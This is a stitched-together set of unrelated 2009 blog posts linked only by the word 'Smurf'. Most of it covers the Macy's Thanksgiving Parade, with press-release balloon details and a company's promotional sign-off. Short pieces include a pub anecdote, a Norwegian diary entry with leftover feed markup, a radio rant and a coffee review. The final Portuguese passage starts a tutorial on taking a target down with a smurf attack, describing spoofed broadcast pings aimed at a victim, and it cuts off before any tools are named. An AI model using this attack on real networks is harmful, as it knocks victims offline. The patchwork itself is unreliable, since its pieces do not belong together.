Hope everyone had a great Thanksgiving Day 2009. I wanted to post these pics right after parade but you know… family obligations can keep you from doing personal stuff on the computer. I know not everyone can make it into the city to experience The Macy’s Thanksgiving Day Parade so I’m hoping that my photos can give those of you who have never been to the parade an idea of what it’s like to be there. Obviously crowds of people, blocked off streets, and policemen are all staples during the parade. My personal favorite balloon is “Hello Kitty”.  Some new ballons this year-The “Pillsbury Doughboy” an “Sailor Mickey Mouse”.  The photo of The Pillsbury Doughboy reminds me of a scene in “Ghostbusters” for some reason.

The Macy’s Thanksgiving Day Parade is a national holiday tradition, and has been so for the past 83 years, and this year the tradition continued.

This year, the parade route returns to its roots with it ending at 34th street right in front of the Macy’s store. This is different than it has been in recent years.

 There is a list of performers that include Katharine McPhee, Jane Krakowski, and we have Spiderman, Kermit and Spongebob floating down the parade route. Ziggy Marley, the son of the legendary Reggae singer Bob Marley, performed a song with his daughter on a float decorated as a pirate ship.

Ziggy Marley and Daughter awaiting performance at Macy Thanksgiving Day Parade today

 Ziggy performed his new song ”It’s Family Time” while holding his daughter in his arms so she could reach the mike…very cute.

Katharine McPhee, sporting her new sassy blonde ‘do, performed her new single “Had It All.” Jane Krakowski performed a Christmas tune. She may play a ditzy spoiled celeb on “30 Rock,” but in real-life Krakowski is quite the songbird.

Teen superstar Miley Cyrus made an exuberant appearance waving to her throngs of excited fans that lined the parade route waiting patiently for the international superstar. She looked great, in light of the bush crash tragedy that killed her long time tour bus driver this past friday. Today was much happier times for her.

The Macy’s Thanksgiving Parade aired on CBS and NBC at noon ET/9 am PT.

HAPPY THANKSGIVING…NOW GO EAT….

“If I was a gay man dressed like a Smurf, I wouldn’t do it in here”

As is the case with most of the human race, once we consume alcohol we somehow assume that we become more intelligent and profound.

I can’t honestly claim to be any different, as those who know me best will surely testify. Having said that it doesn’t exclude me from being able to point out the absurdity of said ‘profoundness’ of other people when in an inebriated state, especially if the person in question happens to be a good friend of mine.

One evening after a couple of beers at one of our regular local haunts, my friend Richard came out with this bizarre piece of advice.

Not only is it bizarre in nature but also in context considering there was a distinct lack of Smurfs in the pub and in the conversation(s) that preceded it.

This piece of sage advice did lead me to wonder where it might ever be appropriate or accepted behaviour to dress up like a Smurf and why in particular it was something that a ‘gay man’ should definitely not attempt ‘in here’.

Answers on a Postcard.

I finally managed to go through the images of Dia de Muertos… I remembered some weird situations. People wearing masks covered with other masks… A man shooting firework in his bare hand… A bursting musician after playing 12 hours…

83rd Annual Macy’s Thanksgiving Day Parade in 2009 has a new route! For the first time ever, the parade route will bypass Broadway and travel down 7th and 6th Avenue’s to Macy’s in Herald Square.

Stars joining the line-up include Bello, Grandma and the cast of the Big Apple Circus, Andrea Bocelli, Boys Like Girls, Alan Cumming, Billy Currington, DJ Lance Rock and the cast of Yo Gabba Gabba!, Jimmy Fallon and The Roots, Gloria Gaynor, Sarah Hughes, Kermit the Frog and Tiffany Thornton, Jane Krakowski, Cyndi Lauper, Ziggy Marley with Judah Marley, Katharine McPhee, Miss America 2009 – Katie Stam, the cast and Muppets of Sesame Street, Mitchel Musso, Keke Palmer, The Pizzarelli Quartet, Jay Sean and Carly Simon.

Enchantment returns this November as Macy’s magical procession of pomp and pageantry ushers in the holiday season at the 83rd Annual Macy’s Thanksgiving Day Parade. From the trumpeting of the time-honored phrase Let’s Have a Parade. to the first glimpse of one of Macy’s signature giant helium balloons, the march of whimsy will delight more than 3.5 million spectators lining the streets of Manhattan and more than 50 million viewers nationwide. America’s Parade steps to the beat of its own drums on Thursday, November 26th at 9:00 AM bringing with it 8,000 participants including the nation’s best marching bands, jaw-dropping performance groups, cheerleaders, clowns, giant balloons, fanciful floats and the biggest star of them all, the one-and-only Santa Claus.

From a small band of Macy’s employees gathered in 1924 to commemorate the holiday season to a tradition that has delighted millions for generations, Macy’s Thanksgiving Day Parade is truly an icon of American popular culture. Changing with the times from a Parade of floats, zoo animals, clowns and bands that marched down a more than 5- mile route to a Parade filled with giant helium balloon characters, celebrities, and more; the Macy’s Parade this year will mark yet another milestone moment. Having marched down parts of Broadway for 82 years, the 2009 procession will be the first to bypass Broadway in the history of the Parade. Over the years, the Macy’s Parade route has changed five times as it traveled through Manhattan. From the initial Harlem step-off site in the mid 1920s to its current 77th Street starting line, the Parade route has evolved with the city.

The 2009 Macy’s Parade will begin at 77th Street and Central Park West, travel down to Columbus Circle where it will turn onto Central Park South. Once the Parade reaches 7th Avenue it will turn once more and march down 7th Avenue through Times Square to 42nd Street. At the famed intersection, it will turn east to 6th Avenue and begin its final march down the Avenue of the Americas to 34th Street, where it will turn towards Macy’s famed flagship and end at 7th Avenue marking a 2.65-mile march.

“This is a milestone year for the Macy’s Thanksgiving Day Parade,” said Robin Hall, executive producer of Macy’s National Events. “Dramatic changes in the mid-town landscape will divert us for the first time from the fabled Broadway route we have followed since our first Parade in 1924. However, our course will remain true and the Parade will continue to entertain millions as Spider-Man returns to the sky and the first new Santa Float in almost half a century makes its debut.”

The 83rd Annual Macy’s Parade will be an unparalleled crowd-pleasing spectacle that features 1,500 cheerleaders, dancers, singers and performers; 800 clowns; 15 giant character helium balloons; 35 novelty/ornament balloons, balloonheads and balloonicles; 10 marching bands; 24 floats; and a host of celebrity performers.

Rise of the Giants
The sky above the streets of Manhattan will be alive once more filled with colorful friends as the Parade’s signature giant helium character balloons soar on Thanksgiving morning. The line-up of giants features a who’s who of children’s classic characters from comic book superheroes to the stars of television, films and American pop culture. New arrivals to the Thanksgiving Day balloonfest are everyone’s favorite neighborhood super-hero™, the web slinger himself, Spider-Man®; the ever cute and cuddly Pillsbury Doughboy®; America’s favorite clown Ronald McDonald®; and the top mouse on deck, Sailor Mickey Mouse.

Making a vaunted return to the Parade to complete the 15 giant balloon line-up are some of the nation’s most favorite characters including Abby Cadabby, Buzz Lightyear, Dora the Explorer™, Flying Ace Snoopy, Horton, Kermit the Frog™, Pikachu™, Shrek®, Smurf, SpongeBob SquarePants™ and Supercute Hello Kitty®. These giant balloons are only one portion of the buoyant procession; the Macy’s Parade also boasts 35 novelty/ornament balloons and balloonicles, which can range in size from 12 to 25 feet tall and give the line of march a tiered perspective. The Macy’s Parade features a team of Balloonatics – balloon experts who create, maintain and inflate the Parade’s balloon line up. A fun bunch, the Parade Balloonatics are known to give lessons in balloon speak to spectators every year. Two very important facts should be known when referring to the Parade’s giant helium characters. One is that although the Parade’s signature balloons seem to float in the air, they are indeed balloons – not floats. The second and most important is that Macy’s does not blow up the balloons – that would be very disappointing to millions who would not get to see them fly on Parade day…that’s why they are inflated!

Floating Scenes of Wonder
Riding down the street on Thanksgiving Day will be the Parade’s magical lineup of floats that feature landscapes of fantasy. These moving stages transport millions of spectators on unexpected journeys. The new float line-up includes a salute to the heroes in our everyday lives on the Local Heroes Helping Everyday float; a magical land where friends come to life to play and dance on the There’s A Party in My City float, and the first new Santa’s Sleigh in more than 40 years.

The dazzling stages that ride down the streets of New York City each year take months of painstaking work by the skilled artisans of the Macy’s Parade Studio. The gifted Studio team design and build each float from the ground up. Wood, foam and other materials are the skeleton that gives life to this fleet of fantasy. In addition to the three new stages, 21 floats will make a return appearance to the line up this Thanksgiving.

The returning float roster includes 123 Sesame Street, Big Apple, Bridge To The Future, Bountiful Harvest Cornucopia, The Care Bears™ Winter Fun-derland, Castle of Dreams, Cele-bear-ate Hugs Worldwide, Doodlebug, Jolly Polly Pirate Ship, M&M’s® Chocolate Candies on Broadway, Marion-Carol Showboat, Musical Innovation Bigger Than Life, Pep Squad, Shine On, The Smurfs™, Snoopy’s Doghouse, Spirit of Liberty, Tom Turkey, The True Spirit of Thanksgiving, Winter Wonderland in Central Park and Woodland Family Gathering. In addition, the famed Speed Racer Mach 5 will be making a special appearance in the line of march this year.

Drum Roll Please
Strike up the band and pump up the volume, as the Parade’s signature marching bands hit the perfect rhythm this Thanksgiving. The musical heartbeat of the Parade, the marching bands and students representing their home states in this year’s holiday spectacular are the nation’s highest caliber musical and marching talents. Ready to step to the beat are Adair County High School from Columbia, Kentucky; Frank W. Ballou Senior High School from Washington, DC; Choctawhatchee High School from Fort Walton Beach, FL; Franklin Regional High School from Murrysville, PA; Harrison High School from Kennesaw, GA; Morgantown High School from Morgantown, WV; Pickerington Central High School from Pickerington, OH; Pittsburg High School from Pittsburg, CA; Towson University from Towson, MD; and Macy’s Great American Marching Band featuring students from all fifty states.

Taking Center Stage
Adding pomp, cheer, spins, flips and dips to the holiday revelry are some of the nation’s best performance groups. From the cheerleaders to a one-of-a kind group of peddlers, the Parade features a host of unique performers. Set to wow the crowds are performers from the Big Apple Circus, Chinese American Community Center Folk Dance Troupe, Mike Miller Dance Team, NETSational Seniors & NETS Kids Dance Team, The Purple Peddlers, Varsity Spirit, Spirit of Long Island Mounted Drill Team, Stagedoor Manor, and USA Jump Rope.

Stars on 34th Street
Celebrating the start of the holiday season will be performers from stage, screen and music riding down the streets of New York City to Macy’s famed home on 34th Street. The stars joining the line-up include Bello, Grandma and the cast of the Big Apple Circus, Andrea Bocelli, Boys Like Girls, Alan Cumming, Billy Currington, DJ Lance Rock and the cast of Yo Gabba Gabba!, Jimmy Fallon and The Roots, Gloria Gaynor, Sarah Hughes, Kermit the Frog and Tiffany Thornton, Jane Krakowski, Cyndi Lauper, Ziggy Marley with Judah Marley, Katharine McPhee, Miss America 2009 – Katie Stam, the cast and Muppets of Sesame Street, Mitchel Musso, Keke Palmer, The Pizzarelli Quartet, Jay Sean and Carly Simon.

Nationwide Star
From coast to coast, Americans will gather around the television to share in the magic of the Parade via the national broadcast on NBC-TV. One of the nation’s most viewed events, NBC’s Emmy® Award winning telecast of Macy’s Thanksgiving Day Parade will be hosted by TODAY’s Matt Lauer, Meredith Viera and Al Roker. The telecast will air from 9:00 AM to 12 Noon in each of the four time zones in the continental United States. Star power on Thanksgiving morning will include performances from some of the hottest Broadway shows including Billy Elliot, Bye Bye Birdie, Hair, and Shrek. In addition, the world-famous Radio City Rockettes® will return to kick in the start of the holiday season.

A Holiday Treat for Children Everywhere, the Macy’s Thanksgiving Day Parade’s finale features the biggest star of all, the one-and-only Santa Claus. As his sleigh comes into view, Macy’s will wish everyone “Happy Holidays” and a “Merry Christmas.”

Source and Photos: Macy’s

Enjoy!

If you place an order for virtual office service online via our secure order form, please note that orders completed on a Holiday will be reviewed the following business day.

Make sure to check out our specials page for November’s NYC virtual office promotion.

With regards,
The Team at VH International Business Solutions, Inc.

Please contact us with any questions:
Tel: 1.212.627.8900
Fax: 1.646.861.6610
Manhattan Virtual Office

Since 1990.

VH International Business Solutions, Inc.
Follow us on Twitter: @ManhattanOffice

Ready, set, lift off of Macy’s famed giant helium balloon characters in the 83rd Annual Macy’s Thanksgiving Day Parade®. This Thanksgiving Day the magic in the sky will once again wow millions of spectators as beloved characters return to the balloon line-up. Featuring a star-studded list of American pop culture favorites from a friendly neighborhood super-hero to a world-famous mouse, the stars of Macy’s Parade are transformed from pencil sketches to larger-than-life forms via a sprinkling of magic from the stars at Macy’s Parade Studio.

A Ballooning Tradition
Dating back to the 1927 edition of the holiday spectacle, Macy’s giant character balloons have featured a who’s who of characters from film, television, comic strips, and cartoons. From the very first inflatable of Felix the Cat to the four new giants –Pillsbury Doughboy®, Ronald McDonald®, Sailor Mickey, and Spider-Man® – the Macy’s Parade has brought to life 157 of the most recognizable characters in history during its 83 editions.

Balloonatics
Before the giant balloons inspire awe on Parade day, they start on a drafting table at Macy’s Parade Studio. There, the Parade team of “Balloonatics” transforms a well-known character into a high-flying wonder. A pencil sketch of the character is the first step in the creation process. This concept sketch showcases the character in balloon form, taking into consideration aerodynamic, engineering and aesthetic points. Under the direction of John Piper, lead designer of Macy’s Parade Studio, the Balloonatic team takes that initial pencil sketch through a months-long process that encompasses concept, aerodynamic and aesthetic design, construction and final test flights. The building process includes creation of clay and painted models, and of course, the cutting and sealing of fabric into chambers that will produce the final balloon. Macy’s conducts the high-tech process in collaboration with aerodynamic and engineering consultants, Aerostar, who together calculate the balloon design’s aerodynamics, buoyancy, and lift. Once the balloon has been created it will undergo many tests including indoor and outdoor test flights, inflation and deflation tests and final touch-ups before taking flight on Parade day.

On Saturday, November 7th, before their official Thanksgiving Day debut, the new giant character balloons take to the sky for a final test flight at Macy’s Balloonfest. At this outdoor event, each balloon’s Pilot and Captain, and the flight management team of twelve, guide hundreds of handlers as they fly the balloon in an extreme real world setting. Once the balloons have been awarded their flight wings, they will receive a comprehensive final check-up that may include air inflation tests, cleaning and paint touch-ups before the big day.

Following is the Complete Cast of Giant Helium Character Balloons in the 83rd annual Macy’s Thanksgiving Day Parade:

ABBY CADABBY
SESAME WORKSHOP®
With her wand at the ready, Abby Cadabby, the inquisitive fairy-in-training returns to the Parade for another magical flight down the streets of New York City. Originally from Fairyside, Queens, Abby will be right at home with the crowd cheering her on as she helps ring in the holidays and celebrate the 40th birthday of Sesame Street. Although Abby is still somewhat magically challenged, she is sure to delight millions of Parade spectators with her enchanting antics. Standing at 56-feet long, 37.5-feet wide, and 48.5-feet high, Abby is filled with 16,100 cubic feet of helium as she bounds happily down the route.

BUZZ LIGHTYEAR
DISNEY•PIXAR
Buzz Lightyear, the fearless Space Ranger from Disney•Pixar’s Toy Story trilogy, returns to the Parade for another trip to Herald Square and Beyond! The larger-than-life hero measures 67.7-feet long, 39.9-feet wide and 34.3-feet tall. On Thanksgiving Day, Buzz will be ready for the adventure with his jet pack guiding him down the route. From his green and purple space boots all the way up to his protective helmet, which is 17-feet in diameter, Buzz Lightyear is sure to create a big buzz for millions of Parade spectators.

DORA THE EXPLORER™
NICKELODEON
The adventure-loving, Latina heroine Dora the Explorer™ returns to the Macy’s Parade this Thanksgiving for a high-flying expedition as the Nickelodeon heroine prepares to celebrate her 10-year anniversary next year. As always, Dora will be waving ¡Hola! to the crowds on her way to 34th Street along with her trusty friends Backpack and Map. Filled with 14,250 cubic feet of helium, Dora measures 43.5-feet in length, 39-feet in width and 55-feet tall. A skilled explorer, Dora will lead her team of balloon handlers to Macy’s Herald Square, where she will be sure to exclaim, We did it! ¡Lo Hicimos! at the end of her journey.

FLYING ACE SNOOPY
UNITED FEATURE SYNDICATE
Snoopy, the extroverted beagle with a Walter Mitty complex returns to the line-up as the Flying Ace. Snoopy is celebrating PEANUTS® 60th Anniversary and is marking a record 34th appearance in the Macy’s Parade. Holding binoculars and sporting an aviator hat, goggles and a red scarf, Snoopy is ready for another showdown with the dreaded Red Baron. Once again ready for the challenge standing at 52-feet high, 25-feet wide and 49.5-feet long and filled with 15,000 cubic feet of helium; Flying Ace Snoopy is a beagle with a mission on Parade day.

HORTON
TWENTIETH CENTURY FOX HOME ENTERTAINMENT
The wonderful Whos of Whoville are back in town taking a ride down Manhattan with their giant protector, Horton the Elephant, from the movie Horton Hears A Who. Keeping his eyes firmly planted on the delicate clover protectively wrapped in his trunk, Horton will take flight once again measuring 59.8-feet long, 31.8-feet wide and 43.4-feet tall on his return Parade voyage. With toenails the size of large beach balls, and ears that could cover a large van, Horton is filled with 14,060 cubic feet of helium on Thanksgiving Day.

KERMIT THE FROG™
THE MUPPETS STUDIO
Kermit the Frog, the world’s most famous amphibian, takes Manhattan again in the 2009 Macy’s Parade. Kermit the Frog™ stands “slightly” larger-than-life, flying over New York City at 78-feet long, 36-feet wide, 60-feet tall and filled with 11,000 cubic feet of helium. They say it’s not easy being green, but Kermit sure makes it look easy as he flies triumphantly down the route this Thanksgiving, to the roaring cheers of his many fans, friends – and maybe even a few of his fellow frogs.

PIKACHU™
THE POKÉMON COMPANY INTERNATIONAL
That rosy glow coming from Pikachu’s cheeks is not from the November chill, but from the electricity stored inside. Pikachu, the most recognizable character of the Pokémon® universe, returns to the Macy’s Thanksgiving Day Parade chasing after a Poké Ball. Charged for another electrifying trip, Pikachu, stands at 53.5-feet high, 36.9-feet wide and is 40.8-feet long, and filled with 15,000 cubic feet of helium.

PILLSBURY DOUGHBOY®
PILLSBURY®
The new Pillsbury Doughboy® balloon makes its Macy’s Parade debut in larger-than-life form, far outgrowing his normal 8¾-inch frame. On Thanksgiving Day, the Doughboy will march down the route with his arms outstretched and his bright blue eyes shining ready to ring in the holidays. At more than 63 times his traditional size, the Doughboy balloon will measure 53.7-feet in length, 34.4-feet in width and will be 46.4-feet tall. This Doughboy will rise to the occasion filled with 12,280 cubic feet of helium.

RONALD McDONALD®
McDONALD’S®
Ronald McDonald® first made his Macy’s Parade debut in 1966, holding a bouquet of party balloons that had taken him on a Thanksgiving joy ride. In 2001, a second Ronald McDonald balloon made its Parade debut flying down the streets of Manhattan bringing joy and laughter to millions. This year, Ronald is in a playful mood and has strapped on the world’s largest pair of ice skates for a fun-filled holiday activity. Measuring 76.4-feet long, 28.8-feet wide and 48.6-feet tall, Ronald will be inflated with 13,650 cubic feet of helium on Parade day.

SAILOR MICKEY
DISNEY CRUISE LINE
Ahoy matey! Get on board the ultimate family cruise with Sailor Mickey at the helm. Sporting his nautically-inspired red, white and blue sailor gear, Mickey will salute the crowds as he rides down the Parade route. Sailing aboard an anchor that is approximately four times the size of an actual cruise ship anchor, Mickey measures 48.1-feet long, 33.6-feet wide and 60.9-feet tall. Sailor Mickey will be filled with 14,750 cubic feet of helium on his maiden voyage on Thanksgiving Day.

SHREK®
DREAMWORKS ANIMATION
A giant ogre from Far Far Away will be returning to the sky over Manhattan once again this Thanksgiving. The truly larger-than-life Shrek® will take a break from life in his beloved swamp to help welcome in the holiday season. Everything Shrek does is ogre the top and his giant balloon is no exception standing at 44-feet tall, 47-feet long and 39.3-feet wide. Dressed in his signature woodsman outfit complete with oatmeal sweater, plaid pants and brown vest, Shrek will be filled with over 14,130 cubic feet of helium for his third trip through the Big Apple.

SMURF
LAFIG BELGIUM / SONY PICTURES ENTERTAINMENT
The sky will most definitely be blue this Thanksgiving as the giant Smurf balloon returns for another smurferrific holiday trip. The loveable Smurf will wave hello to all his friends as he flies through Manhattan, to the sounds of Happy Thanksmurfday! Measuring 57.6-feet long, 38.7-feet wide and 47-feet tall, the whimsical Smurf is filled with 15,050 cubic feet of helium on Parade day.

SPIDER-MAN®
MARVEL ENTERTAINMENT
Millions of New Yorkers will feel their Spider-senses tingling on Thanksgiving morning when New York’s own neighborhood Super Hero™, Marvel’s Spider-Man®, makes a triumphant return to the skies over Manhattan to ensnare a new generation of fans. After a decade, the legendary crime-fighting web-slinger returns to the Parade line-up in celebration of Marvel’s 70th Anniversary. Spider-Man made his Macy’s Parade debut in 1987, becoming an instant classic. The new, more modern and muscular Spidey is in full crawling mode with one hand set to release his web. On Parade day, the Spider-Man balloon will measure 78-feet long, 37.8-feet wide and 29.1-feet tall and will be filled with 11,800 cubic feet of helium.

SPONGEBOB SQUAREPANTS™
NICKELODEON
Who lives in a pineapple under the sea? SPONGEBOB SQUAREPANTS! On Thanksgiving Day SpongeBob SquarePants™ will take a break from the Krusty Krab and leave Bikini Bottom to soak up the sights, sounds and fun of the Big Apple. Celebrating his 10th Anniversary this year, SpongeBob returns to the Parade for his fifth flight. Macy’s Parade’s first-ever square balloon will absorb more than 16,200 cubic feet of helium to fly down the route. Dressed in his signature white shirt, red tie and brown square pants, SpongeBob stands at 62-feet high, 38-feet wide and 28-feet long. Although it may appear square the SpongeBob SquarePants balloon isn’t square at all, he is actually a single chamber sphere, intricately made square-shaped by more than 600 internal tie-lines.

“SUPERCUTE” HELLO KITTY®
SANRIO®
Returning to the line-up and celebrating her 35th Anniversary this year is Sanrio’s Supercute Hello Kitty. Hello Kitty will take flight dressed in her Supercute superhero outfit, complete with cape and tiara to complement her trademark red bow. Standing at 33.6-feet tall, 34.8-feet wide and 45-feet long, Hello Kitty will soar over the Big Apple bringing smiles to her millions of fans.

The following is a complete list of the supporting cast of Balloonicles, novelty/mid-sized and small balloons:

ARRTIE THE PIRATE
Returning to the line-up is everyone’s favorite one-eyed seafarer – Arrtie the Pirate. A recreation of the classic Pirate balloon of 1947, Arrtie stands at 36-feet tall and is filled with 3,600 cubic feet of helium easily plundered from various tanks. With map in hand, Arrtie is on a search for holiday treasure this Thanksgiving.

BASEBALL
Featuring a signature from R.H. Macy himself, the world’s largest baseball is destined to be hit right out of the park this Thanksgiving. Measuring 12-feet in height, this giant baseball is filled with over 900 cubic feet of helium on Parade day.

BASKETBALL
A brand new Basketball balloon is here to cheer on Macy’s All Stars. At 15-feet in diameter, this Basketball giant will be dribbling down the route filled with 1,766 cubic feet of helium.

BEACH BALL CLUSTER
A bright bouquet of balloons adds color and brings smiles to children everywhere. The Macy’s Parade Balloon Cluster returns to the line up with the biggest, brightest beach balls ever seen in New York. With a height of 25-feet and filled with 2,858 cubic feet of helium, the balloon cluster is sure to be a big holiday treat.

BIG MAN SANTA
UNIVERSAL ORLANDO RESORT
The star of Macy’s Thanksgiving Day Parade is the big man himself – Santa Claus. To pay tribute to his star status, Macy’s Parade Studio magicians have created a fantastic new balloon depicting the cheery man himself with a rather jolly belly, this time full of helium. Big Man Santa will make his Parade debut before heading south for the winter to star in Macy’s Holiday Parade at Universal Orlando®.

CANDY CANES
Kids will scream in delight wishing they could get their hands on these sweet treats. These 20-foot tall Candy Canes are a holiday favorite on a sky-high sugar rush.

CHLOE THE HOLIDAY CLOWN
A Macy’s Thanksgiving Day Parade staple, Chloe the Holiday Clown returns for another trip down New York City. At 28.5-feet tall and 18-feet wide, Chloe is filled with 2,242 cubic feet of helium.

ENERGIZER BUNNY®
ENERGIZER®
America’s favorite battery-powered pink bunny returns to the Parade this year to drum up some more holiday spirit. The Energizer Bunny® balloonicle is unstoppable, taking another super cool trip down the Parade route, wearing his favorite sunglasses and 45 EEE sized flip-flops. Marching to the beat of his own drum, he’ll be the king of stocking stuffers this holiday season. With all the power that the Energizer Bunny brings to the party fun, the holiday season will keep going long after he crosses the finish line.

FRIEDA THE DACHSHUND
It’s a dog’s life for Frieda the Dachshund as she returns for another year of playing fetch along the route. At 21-feet tall and 53-feet-long, Frieda may just be the world’s largest dachshund.

GEOMETRIC BALLOONS
Icosahedrons rule! For the mathematically challenged, each of the two brand new Geometric balloons are a 20 sided polygon made up of equilateral triangles. These icosahedrons measure 16-feet in height and will be filled with 1,700 cubic feet of helium.

HAROLD THE FIREMAN
Who better to salute the city’s bravest, the men and women of the New York Fire Department, and lead the Fire Brigade Clowns down the route than that lovable character Harold the Fireman! Originally seen in the Parade of 1948, Harold is a recreation of the original balloon. At a height of 32-feet, New Yorkers can rest assured that he will keep a watchful eye over the city. Harold is supported in the air by 2,800 cubic feet of helium, which makes blowing out fires a breeze.

KIT, CHARLIE & C.J. ELF
The Gnome Balloons from the 1940s and early ‘50s have been recreated and are now Parade standards. Kit, Charlie & C.J. Elf are back for another Thanksgiving Day jaunt. At 34-feet high, 18.5-feet wide, and filled with 2,100 cubic feet of helium, these novelty balloons give a new meaning to the word “elf.”

MACY’S STARS
Macy’s is the star of the Parade as its signature five-pointed star flies high in a variety of colors and configurations. Celebrating the famed red star that guided R.H. Macy to shore during his days as a seaman, the Macy’s star still shines today.

MACY’S ORNAMENT BALLOONS
Macy’s knows how to accessorize the holidays! From Poinsettias, Pumpkins and Snow Crystals to the Stars & Stripes, Macy’s ornament balloons add a splendid touch to the holiday palette.

PLANET EARTH
At 14-feet wide, Macy’s Planet Earth recreation is not nearly as big as the original, but still as breathtaking.

STRAWBERRY/PISTACHIO ICE CREAM CONE
Looking very delicious, the Strawberry/Pistachio Ice cream cone balloon stands 30-feet tall, top to cone tip and is a scrumptious treat for the sweet toothed crowds.

Source and Photo: Macy’s

Enjoy!

If you place an order for virtual office service online via our secure order form, please note that orders completed on a Holiday will be reviewed the following business day.

Make sure to check out our specials page for November’s NYC virtual office promotion.

With regards,
The Team at VH International Business Solutions, Inc.

Please contact us with any questions:
Tel: 1.212.627.8900
Fax: 1.646.861.6610
Manhattan Virtual Office

Since 1990.

VH International Business Solutions, Inc.
Follow us on Twitter: @ManhattanOffice

Tipo um doende azul que quer ser um smurf

]]> http://martinelarsen.wordpress.com/2009/11/04/i-kveld-blir-jeg-brunette/ Wed, 04 Nov 2009 16:30:38 +0000 Martine Larsen http://martinelarsen.wordpress.com/2009/11/04/i-kveld-blir-jeg-brunette/

Okei, nå har jeg sikkert laget nok innlegg med fargehåretgreier, men det får dere tåle =P I dag skal jeg ut og danse, selv om jeg absolutt ikke er i humør til det og heller har lyst til å sitte hjemme og øve på samfunnsøkonomiprøven jeg har på fredag. Not. I dag var jeg på butikken og kjøpte store mengder snacks til øvingen min i dag og i morgen, nemlig cheez doodles (den store pakka), smurf (grønn så klart!) og lakrissnører =P Jeg prøvde å forklare til Marius i kassa (jeg jobber der, på meny) at jeg kjøpte alt dette til Helle, som var med meg, men pga en liten overdose med fnising trodde han ikke på meg =(

Måtte bare putte inn et random bilde i dette innlegget, så derfor ble det et jeg tok da jeg lagde videoblogg for noen uker siden, men aldri fikk postet pga fucka pc! Uansett hvor grenseløst flaut det er å poste videoen er det faktisk utrolig gøy å lage! Dere som ikke har laget før, prøv det en gang! Jeg har egentlig lyst til å lage en til, men aner ikke hva det skulle vært om.. noen som har noen idéer?

New image in the grandpa photoshop contest

An extended bear and a blue face. Must be Papa Smurf. PS only.

Selection Tool
Hue/Saturation …
Papa Smurf photoshop picture

The Smurfs are 61 today! Yay!

So frickin happy all the time...

RE: Dear: SA FM

You did not accept my invitation for a rebuttal so I will jack this up a notch. (Caps on) NOTHING HAS CHANGED (Caps off). Actually wait, scrap that. You are now rotating a whole new bunch of artists and unfortunately for us all they’re still s**t. What has to happen for me to make a difference? Do I have to get elected to a board of mediocrity? If this is correct how would one go about getting their name on the ballot? My name lacks pizzaz, so tell me, is the name ‘Fifi Box’ taken? If elected I would set the following in motion:
1. All Britney songs to open with “It’s Britney bitch”. This gives the listener ample time, or approximately 3 seconds, to get to their stereo to turn it off.

2. Re-assess the use of the term “classic” on air. This may come as a surprise but the Pussy Cat Dolls’  ‘Don’t Cha’ does not fall into that category. Neither does anything that Shania Twain has released. Outdated? Yes. Classic? Not a chance.

3. Abolition of the “gotchya” calls. I, along with anyone who has a functioning pair of ears, find them completely awkward. “Hi it’s the bloke that’s building your house. Turns out it’s gonna cost youse an extra $12k to do that back extension”. What sort of prank is that? May I suggest “Oh hai turns out that baby that you got growing inside of you has a blue-ish tinge to their skin. Downside: Looks like a member of Blue Man group. Upside: Human Smurf.” I would outro that segment with Eiffel 65’s “I’m Blue” for guaranteed hilarity.

4. Seek the involvement of the FBI to track down a couple of rampant identity thieves. Green Day. What goes on there? ‘Dookie’ was produced by a great band who, like myself, had some great ideas to set the world on fire. The horrid arse that “Green Day” are producing now is surely not correct. Something in the milk ain’t clean.

5. More T-Pain. Always more T-Pain. His voice makes me giggle.

I have many more golden nuggets of wisdom, however I don’t want to overwork you lads. Am I correct in saying that the implementation of the above ideas will take a few days? So I’ll keep an ear out for the changes and then we’ll have a meeting with a few brews to toast our success. Do you have Microsoft Outlook? Make sure you accept my meeting request.

http://www.safm.com.au/contact Sent 22/10/09

Today I checked a few skim spots for waves and waited patiently at home till the winds picked up but it never happened. Its a tough go living on the Sunshine Coast and being a skimboard photographer but hey at least I have a 450 sqft studio to keep my creativity alive. So this afternoon I dug through a few boxes and pulled out some stuff to shoot. First up is “Dumpy Smurf” which I originally shot last year on my iPhone. When I first came across the little smurf in the sitting position I knew just what I was gonna shoot. I had found this toilet in another box and well it was like it was meant to be.

Next up is a Gundam character chillin’ on his BMX. Like the smurf, the two pieces fit perfectly together. I also shot this combo on my iPhone and was stoked to do it agin in high res. I’m thinking about enlarging this one for an art piece in the studio, perhaps on canvas.

When I was at my buddy Geoff’s house the other night he gave me this Surf Bus to shoot. Its a pretty badass little Hot Wheels with some great graphics.

This character is one of my favorites! My bro Rob was visiting Thailand and spotted this awesome store which makes all their art from recycled parts and bits of hardware. As the sun made an appearance  it was a perfect opportunity to grab a shot.

And last but not least here’s Yoda as the sun was setting this evening. I actually just recently bought him and plan on doing another shoot with him very soon. I couldn’t resist the lighting so here ya go for now…

This nasty recession is making 99 cents seem like 3 dollars. Normally you would spend that much to get  iced coffee at 7Eleven.

Dunkin Donuts 99 cent latte deals has more bang for your buck–taste wise.

Even if you have to pay 3 dollars for this deal, it’s more than worth it since it tastes like heaven engulfed in your mouth.

I normally get vanilla iced lattes but i decided to be a rogue and tried blueberry.  It was like having a Smurf in your mouth singing, ” Lalalalala” but in an euphoric kind of way.

It’s great that the blueberry doesn’t overpower the coffee taste but it does leave a slight aftertaste though: if you are a blueberry fanatic this will be fine.

If blueberry isn’t your thing Dunkin Donuts has an eclectic assortment of flavors such as:  toasted almond, coconut, caramel, raspberry,  french vanilla and hazelnut.

I didn’t think Dunkin Donuts had the capability of  making a cheap coffee drink that decapitates Starbucks, 7 Eleven and even Caribou Coffee’s iced lattes into  tasteless pieces.

Dunkin Donuts staff lets you add as much syrup and cream as you want in your latte without a complaint unlike your local Starbucks baristas.  The syrup and cream is actually up to par. Sorry 7 Eleven, your tarnished black stand with half empty syrups and day old creamer will not cut it this time.

Also, for only  two dollars you can get an iced latte and a chocolated frosted donut and leave with a smile plastered on your face like this : )

There was 25 sq feet here, there probably isn’t anymore. Honestly? I didn’t want to unfold it to look.

It’s quite folded and crumpled at the folds. But there is plenty of very useable paper here for small projects, scrapbooking, etc.

This vintage early 80s giftwrap from Papercraft will take you right back! To the times when little things were …  almost free.

One Person’s Junk… During the month of October, I will be giving away one teeny-tiny item every weekday. For more details, click here. To enter, just leave a comment below.

Este tutorial demostrará, como derrubar um alvo, com smurf.

ATAQUE DE SMURF,  EXEMPLO:  é enviado um broadcast para diversos enderecos de ip e o endereco de origem(que deveria ser o IP de quem enviou) é modificado para o da vitima. O resultado si dará que: todas as maquinas mandarao milhares de unicasts para o pobre coitado.
Para realizarmos esses nossos ataque, precisamos de 3  instrumentos:
